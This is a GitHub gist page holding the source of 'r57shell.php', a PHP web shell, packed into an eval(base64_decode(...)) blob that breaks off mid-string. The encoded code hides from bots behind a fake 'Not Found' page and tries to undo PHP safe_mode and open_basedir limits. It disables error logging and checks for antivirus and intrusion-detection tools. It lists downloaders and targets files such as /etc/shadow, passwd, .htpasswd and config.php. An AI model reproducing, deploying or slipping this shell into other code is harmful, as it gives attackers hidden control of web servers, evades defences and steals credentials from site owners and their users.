Skip to content

Instantly share code, notes, and snippets.

@k0u5uk3
Created June 4, 2015 05:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k0u5uk3/cb8c854219f0cccf7816 to your computer and use it in GitHub Desktop.
Save k0u5uk3/cb8c854219f0cccf7816 to your computer and use it in GitHub Desktop.
r57shell.php
<?
eval(base64_decode('aWYocHJlZ19tYXRjaCgiL2JvdC8iLCAkX1NFUlZFUltIVFRQX1VTRVJfQUdFTlRdKSkge2hlYWRlcigiSFRUUC8xLjAgNDA0Iik7ZXhpdCgiPGgxPk5vdCBGb3VuZDwvaDE+Iik7fQoKJGxhbmd1YWdlPSdlbmcnOwoKJGF1dGggPSAwOwoKJG5hbWU9Jyc7IAokcGFzcz0nJzsKCi8vcnVfUlUsIC8vcnVfUlUuY3AxMjUxLCAvL3J1X1JVLmlzbzg4NTk1LCAvL3J1X1JVLmtvaThyLCAvL3J1X1JVLnV0ZjgKQHNldGxvY2FsZShMQ19BTEwsJ3J1X1JVLmNwMTI1MScpOwoKQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsKQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTsKQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOwoKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQogewogQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CiBAaW5pX3NldCgnZmlsZV91cGxvYWRzJywxKTsKIEBpbmlfc2V0KCdhbGxvd191cmxfZm9wZW4nLDEpOwogfQplbHNlCiB7CiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOwogQGluaV9hbHRlcignbG9nX2Vycm9ycycsMCk7CiBAaW5pX2FsdGVyKCdmaWxlX3VwbG9hZHMnLDEpOwogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsKIH0KIAplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKLyogPz8/ID8/Pz8/ICovCiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOwokZGFuZ2VyID0gYXJyYXkoJywga2F2JywnLCBub2QzMicsJywgYmRjb3JlZCcsJywgdXZzY2FuJywnLCBzYXYnLCcsIGRyd2ViZCcsJywgY2xhbWQnLCcsIHJraHVudGVyJywnLCBjaGtyb290a2l0JywnLCBpcHRhYmxlcycsJywgaXBmdycsJywgdHJpcHdpcmUnLCcsIHNoaWVsZGNjJywnLCBwb3J0c2VudHJ5JywnLCBzbm9ydCcsJywgb3NzZWMnLCcsIGxpZHNhZG0nLCcsIHRjcGxvZGcnLCcsIHN4aWQnLCcsIGxvZ2NoZWNrJywnLCBsb2d3YXRjaCcsJywgc3lzbWFzaycsJywgem1ic2NhcCcsJywgc2F3bWlsbCcsJywgd29ybXNjYW4nLCcsIG5pbmphJyk7CiR0ZW1wZGlycyA9IGFycmF5KEBpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpLicvJyxAaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKS4nLycsJy90bXAvJywnL2Rldi9zaG0vJywnL3Zhci90bXAvJyk7CiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7CgovKiA/Pz8gPz8/Pz8/ID8/Pz8/Pz8/ID8/Pz8gPz8/Pz8gcmVhbHBhdGgoKSAqLwovLyRjaGFyc19ybHBoID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IAovLyRjaGFyc19ybHBoID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXoiOyAKLy8kY2hhcnNfcmxwaCA9ICJfLS5BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IAovLyRjaGFyc19ybHBoID0gIl8tLmFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6IjsgCi8vJGNoYXJzX3JscGggPSAiXy0uMDEyMzQ1Njc4OTAiOyAKJGNoYXJzX3JscGggPSAiYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXoiOyAKCiRwcmVzZXRzX3JscGggPSBhcnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywKJ3NoYWRvdycsJ3Bhc3N3ZCcsJy5iYXNoX2hpc3RvcnknLCcubXlzcWxfaGlzdG9yeScsJ21hc3Rlci5wYXNzd2QnLCd1c2VyJywnYWRtaW4nLCdwYXNzd29yZCcsJ2FkbWluaXN0cmF0b3InLCdwaHBNeUFkbWluJywnc2VjdXJpdHknLCdwaHAuaW5pJywnY2Ryb20nLCdyb290JywKJ215LmNuZicsJ3B1cmVmdHBkLmNvbmYnLCdwcm9mdHBkLmNvbmYnLCdmdHBkLmNvbmYnLCdyZXNvbHYuY29uZicsJ2xvZ2luLmNvbmYnLCdzbWIuY29uZicsJ3N5c2N0bC5jb25mJywnc3lzbG9nLmNvbmYnLCdhY2Nlc3MuY29uZicsJ2FjY291bnRpbmcubG9nJywnaG9tZScsJ2h0ZG9jcycsCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7CgovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKZGVmaW5lKCJzdGFydHRpbWUiLEBnZXRtaWNyb3RpbWUoKSk7CgppZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSE9TlVMTCkgfHwgKEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSE9TlVMTCkpeyRvcGVuX2Jhc2VkaXI9MTt9IGVsc2V7JG9wZW5fYmFzZWRpcj0wO307CgpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQogewogQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CiB9CmVsc2UKIHsKIEBpbmlfYWx0ZXIoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiBAaW5pX2FsdGVyKCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKIH0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKI2lmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSl7JHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTt9ZWxzZXskc2FmZV9tb2RlPTE7fTsKJHZlcnNpb24gPSAnMS40Mic7CmlmKEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpCiB7CiAkX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7CiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsKICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOwogJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7CiB9CmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKIHsKIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpCiAgewogICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOwogIH0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikKICB7CiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsKICB9IAogfQoKaWYoJGF1dGggPT0gMSkgewppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykKICAgewogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSJIRUxMTyEiJyk7CiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICBleGl0KCI8aDE+QWNjZXNzIERlbmllZDwvaDE+Iik7CiAgIH0KfSAgIAoKaWYoIWlzc2V0KCRfQ09PS0lFWyd0ZW1wZGlyJ10sJF9DT09LSUVbJ3NlbGVjdF90ZW1wZGlyJ10pKSB7CgkkdGVtcGRpcj0nLi8nOwoJJHNlbGVjdF90ZW1wZGlyID0gJzxzZWxlY3QgbmFtZT10ZW1wZGlyPjxvcHRpb24gdmFsdWU9Ii4vIj4uLzwvb3B0aW9uPic7Cglmb3JlYWNoKCAkdGVtcGRpcnMgYXMgJGl0ZW0pIHsKCQlpZihAaXNfd3JpdGFibGUoJGl0ZW0pKXskc2VsZWN0X3RlbXBkaXIgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyI+Jy4kaXRlbS4nPC9vcHRpb24+JzskdGVtcGRpcj0kaXRlbTt9Cgl9Cgkkc2VsZWN0X3RlbXBkaXIgLj0gJzwvc2VsZWN0Pic7CglzZXRjb29raWUoJ3RlbXBkaXInLCR0ZW1wZGlyKTsKCXNldGNvb2tpZSgnc2VsZWN0X3RlbXBkaXInLCRzZWxlY3RfdGVtcGRpcik7Cn1lbHNlewoJaWYoaXNzZXQoJF9QT1NUWyd0ZW1wZGlyJ10pKXskdGVtcGRpciA9ICRfUE9TVFsndGVtcGRpciddO31lbHNleyR0ZW1wZGlyID0gJF9DT09LSUVbJ3RlbXBkaXInXTt9Cgkkc2VsZWN0X3RlbXBkaXIgPSAkX0NPT0tJRVsnc2VsZWN0X3RlbXBkaXInXTsKfQoKJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPHRpdGxlPk5vdCBGb3VuZDwvdGl0bGU+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+Cgo8U1RZTEU+CnRyIHsKQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNlZWVlZWUgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7CmNvbG9yOiAjMDAwMDAwOwp9CnRkIHsKQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNlZWVlZWUgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7CmNvbG9yOiAjMDAwMDAwOwp9Ci50YWJsZTEgewpCT1JERVI6IDBweDsKQkFDS0dST1VORC1DT0xPUjogI0Q0RDBDODsKY29sb3I6ICMwMDAwMDA7Cn0KLnRkMSB7CkJPUkRFUjogMHB4Owpmb250OiA3cHQgVmVyZGFuYTsKY29sb3I6ICMwMDAwMDA7Cn0KLnRyMSB7CkJPUkRFUjogMHB4Owpjb2xvcjogIzAwMDAwMDsKfQp0YWJsZSB7CkJPUkRFUjogICNlZWVlZWUgMXB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogI0Q0RDBDODsKY29sb3I6ICMwMDAwMDA7Cn0KaW5wdXQgewpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiAjMDAwMDAwOwp9CnNlbGVjdCB7CkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Owpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6ICMwMDAwMDA7Owp9CnN1Ym1pdCB7CkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Owp3aWR0aDogMzAlOwpjb2xvcjogIzAwMDAwMDsKfQp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Owpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogIzAwMDAwMDsKfQpCT0RZIHsKbWFyZ2luOiAxcHg7CmNvbG9yOiAjMDAwMDAwOwpiYWNrZ3JvdW5kLWNvbG9yOiAjZTRlMGQ4Owp9CkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9CkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9CkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQo8L1NUWUxFPgo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPgpmdW5jdGlvbiBoaWRlX2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7Cn0KZnVuY3Rpb24gc2hvd19kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsKfQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpCnsKICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpCiAgICBzaG93X2RpdihpZCk7CiAgZWxzZQogICAgaGlkZV9kaXYoaWQpOwp9CgoKPC9zY3JpcHQ+JzsKY2xhc3MgemlwZmlsZQp7CiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7CiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7CiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7CiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7CiAgICBmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CiAgICAgICAgfSAKICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7CiAgICB9IAogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkKICAgIHsKICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsKICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOwogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07CiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsKICAgICAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsKICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgIAogICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAKICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgIAogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsKICAgICAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsKICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOwogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOwogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7CiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgICAKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAgIAogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAgICAgCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOyAgICAKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7ICAgICAgICAgICAgICAgIAogICAgICAgICRmciAgICAgIC49ICRuYW1lOwogICAgICAgICRmciAuPSAkemRhdGE7CiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOwogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsKICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsgICAgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7ICAgICAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgICAKICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49ICRoZXhkdGltZTsgICAgICAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7ICAgICAgICAgICAKICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOyAKICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAKICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOyAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7CiAgICAgICAgJGNkcmVjIC49ICRuYW1lOwogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7CiAgICB9CiAgICBmdW5jdGlvbiBmaWxlKCkKICAgIHsKICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwogICAgICAgIHJldHVybgogICAgICAgICAgICAkZGF0YSAuCiAgICAgICAgICAgICRjdHJsZGlyIC4KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIAogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiAgCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuICAgICAgICAgICAKICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIAogICAgICAgICAgICAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgCiAgICB9Cn0KCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpCiB7CiAgICBnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7CiAgICBnbG9iYWwgJG1pbWVfdHlwZTsKICAgIGlmICgkY29tcHJlc3MgPT0gJ2J6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgCiAgICAgewogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOwogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7CiAgICAgICAgJGZpbGVkdW1wID0gYnpjb21wcmVzcygkZmlsZWR1bXApOwogICAgIH0gCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAKICAgICB7CiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsKICAgICAgICAkY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOwogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1nemlwJzsKICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOwogICAgIH0gCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkgCiAgICAgewogICAgICRmaWxlbmFtZSAuPSAnLnppcCc7CiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi96aXAnOwogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsKICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsKICAgICAgICAkZmlsZWR1bXAgPSAkemlwZmlsZSAtPiBmaWxlKCk7CiAgICAgfSAKICAgICBlbHNlIAogICAgIHsKICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7CiAgICAgfQogfQoKZnVuY3Rpb24gbW9yZXJlYWQoJHRlbXApewpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOwokc3RyPScnOwogIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykmJkBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSAmJiAoJGZmaWxlID0gQGZvcGVuKCR0ZW1wLCAiciIpKSl7CiAgIGlmKCRmZmlsZSl7CiAgICAgd2hpbGUoIUBmZW9mKCRmZmlsZSkpeyRzdHIgLj0gQGZnZXRzKCRmZmlsZSk7fTsKICAgICBmY2xvc2UoJGZmaWxlKTsKICAgfQogIH1lbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSYmQGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmNsb3NlJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVzaXplJykmJigkZmZpbGUgPSBAZm9wZW4oJHRlbXAsICJyIikpKXsKICAgaWYoJGZmaWxlKXsKICAgICAkc3RyID0gQGZyZWFkKCRmZmlsZSwgQGZpbGVzaXplKCR0ZW1wKSk7CiAgICAgQGZjbG9zZSgkZmZpbGUpOwogICB9CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykmJigkZmZpbGVzID0gQGZpbGUoJHRlbXApKSl7CiAgIGZvcmVhY2ggKCRmZmlsZXMgYXMgJGZmaWxlKSB7ICRzdHIgLj0gJGZmaWxlOyB9CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsKICAgJHN0ciA9IEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKXsKICAgJHN0ciA9IEByZWFkZmlsZSgkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdoaWdobGlnaHRfZmlsZScpKXsKICAgJHN0ciA9IEBoaWdobGlnaHRfZmlsZSgkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdzaG93X3NvdXJjZScpKXsKICAgJHN0ciA9IEBzaG93X3NvdXJjZSgkdGVtcCk7CiAgfWVsc2V7ZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXTt9CnJldHVybiAkc3RyOwp9CgpmdW5jdGlvbiByZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpewpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOwokc3RyPScnOwogIGlmKCEkdGVtcCkgeyR0ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCAiY29weXRlbXAiKTt9OwogIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kZmlsZW5hbWUsICR0ZW1wKSkgewogICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOwogIH0gZWxzZSBlY2hvICRsYW5nWy